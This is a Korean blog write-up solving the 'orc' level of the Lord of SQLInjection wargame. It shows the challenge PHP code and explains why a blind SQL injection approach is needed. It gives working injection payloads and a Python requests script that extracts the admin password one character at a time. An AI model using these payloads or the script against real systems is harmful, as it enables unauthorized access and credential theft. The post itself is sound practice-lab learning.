일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- Selenium
- CTF
- 디지털자구행위
- CVE
- 윤송이
- hackingback
- LordOfSQLInjection
- clarivate
- 밀리테크챌린지
- 인공지능윤리
- 웹취약점
- 사이버위협
- 윤리적해커
- 가장인간적인미래
- blindSQL
- 해킹백
- 과학기술전문사관
- ACDC
- 해킹
- cna
- Los
- 보복해킹
- webofscience
- Today
- Total
프리미의 공간
[Lord of SQLInjection] orc 문제 풀이 본문
1. 접근하기
우선 php 소스코드부터 살펴보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
6번~9번 라인(첫번째 부분)을 통해서 한번, 11번~14번 라인(두번째 부분)에서 한번, 총 두번 쿼리를 실행하고 있다.
먼저 첫번째 부분인 6번~9번 라인을 살펴보자.
5번 라인을 통해 SQL injection이 가능하다는 것을 알 수 있고, 9번 라인을 통해 공격이 성공하면 <h2>Hello admin</h2>를 출력한다는 사실을 알 수 있다.
다음으로 두번째 부분인 11번~14번 라인을 살펴보자.
11번 라인에서, 첫번째 부분과 달리 addslashes 함수를 통해 싱글쿼터('), 더블쿼터("), 백슬래시(\), 널바이트(%00) 문자를 사용할 수 없다. 따라서 SQL injection이 아닌, pw를 직접 구해서 인자로 넘겨주는 수 밖에 없다는 사실을 알 수 있다.
이후 12번~13번 라인에서는 첫번째 부분과 동일하게 쿼리를 수행하며, 14번 라인을 통해, admin 계정의 pw가 인자로 들어올 시 solve("orc")가 수행되므로써 성공한다는 것을 알 수 있다.
정리하자면, 우리가 문제를 푸는 동안 알 수 있는 사실은 <h2>Hello admin</h2>가 출력되는지 여부이며, 이 여부에 의해 SQL injection을 수행하는, blind sql injection이 문제 풀이 방식이라는 사실을 유추할 수 있다.
2. 쿼리 작성하기
admin 계정의 패스워드(pw)의 값을 구하는 것이 관건이다. 패스워드를 구하는 과정은 다음과 같다.
0) SQL injection이 잘 작동하는지 확인한다.
1) 패스워드의 길이를 구한다.
2) 패스워드 각 자리의 문자를 구한다.
우선 SQL injection 테스트를 위해 이런 쿼리를 작성하였다.
pw=11' or 1=1 -- '
<h2>Hello admin</h2> 가 출력되며 잘 작동하는 모습을 볼 수 있다.
다음으로 pw의 길이를 구해야 한다. 다음과 같은 쿼리를 작성하여 길이를 구했다.
pw=11' or id='admin' and length(pw)>5 -- '
해당 쿼리가 성공하도록 길이 값을 조정해주며 알아낸다. 완성된 쿼리는 아래와 같다.
pw=11' or id='admin' and length(pw)=8 -- '
마지막으로 pw를 이루는 각 문자를 알아낸다. SQL구문 중 substring 함수를 이용하여 문자 하나를 잘라내고, ascii 함수를 이용하여 10진수의 아스키코드 값으로 변환시켰다. 쿼리는 아래와 같다.
pw=11' or id='admin' and ascii(substring(pw,1,1))=100 -- '
이 쿼리에서 100에 해당하는 값과, 자리수에 해당하는 값을 하나하나 수정해가며 각 자리수를 찾아내면 된다.
해당 과정을 파이썬 코드로 자동화한 것이 아래의 코드이다.
3. python을 이용한 자동화 스크립트 작성
# los.rubiya.kr orc
# Dohyun Kim 21.03.11
# this is test queries
'''
pw=11' or 1=1 -- '
pw=11' or id='admin' and length(pw)=8 -- '
pw=11' or id='admin' and ascii(substring(pw,1,1))<100 -- '
'''
import requests
cookies = {"PHPSESSID": "본인쿠키값"}
URL = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?"
query = "pw=11' or 1=1 -- '"
answer = ''
for idx in range(1, 9):
for ascii_val in range(48,123):
query = "pw=11' or id='admin' and ascii(substring(pw,{},{}))={} -- '".format(idx,idx,ascii_val)
res = requests.get(URL + query, cookies=cookies)
if -1 != res.text.find("<h2>Hello admin</h2>"): # if success
print("[+] find {}-th char, {}".format(idx, chr(ascii_val)))
answer += chr(ascii_val)
break
requests 모듈 사용법은 구글링을 통해 알아내었으며, 로그인 정보에 해당하는 세션 값을 쿠키에 담지 않은 채 요청메시지를 서버로 보내면 응답하지 않는다. 따라서 쿠키에 세션값을 담아 요청 메시지를 던져야 한다.
마치며
처음에 이 문제를 풀기 위해 시도했을 때에는, 아래와 같이 쿼리를 짜서 입력했었다.
pw=11' or length(pw)=8 -- '
즉, admin 계정의 pw가 아닌 맨 처음 select 되는 (아마 테이블의 가장 위에 위치한 pw) pw를 구해버렸던 것이다.
해당 문제를 인지한 후, id='admin' 부분을 추가하여 쿼리를 수행하였더니 올바른 값을 구할 수 있었다.
다음부터는 같은 실수를 반복하지 않도록 주의해야겠다.
또한, blind sql injection 문제를 실제로 내 손으로 처음 푼 문제였는데, 이론적으로만 알고 있던 blind sql injection이라는 지식을 실제로 유추해내었을 때 생각보다 희열이 컸다. 앞으로도 CTF 문제를 풀며 많은 희열을 느낄 수 있을 듯 하다.
'Security > Web' 카테고리의 다른 글
[Root-me] XSS - Stored 2 (0) | 2021.04.05 |
---|---|
[Root Me] XSS - Stored 1 풀이 (0) | 2021.03.22 |
[Dreamhack CTF] mongoboard 문제 풀이 (0) | 2021.03.14 |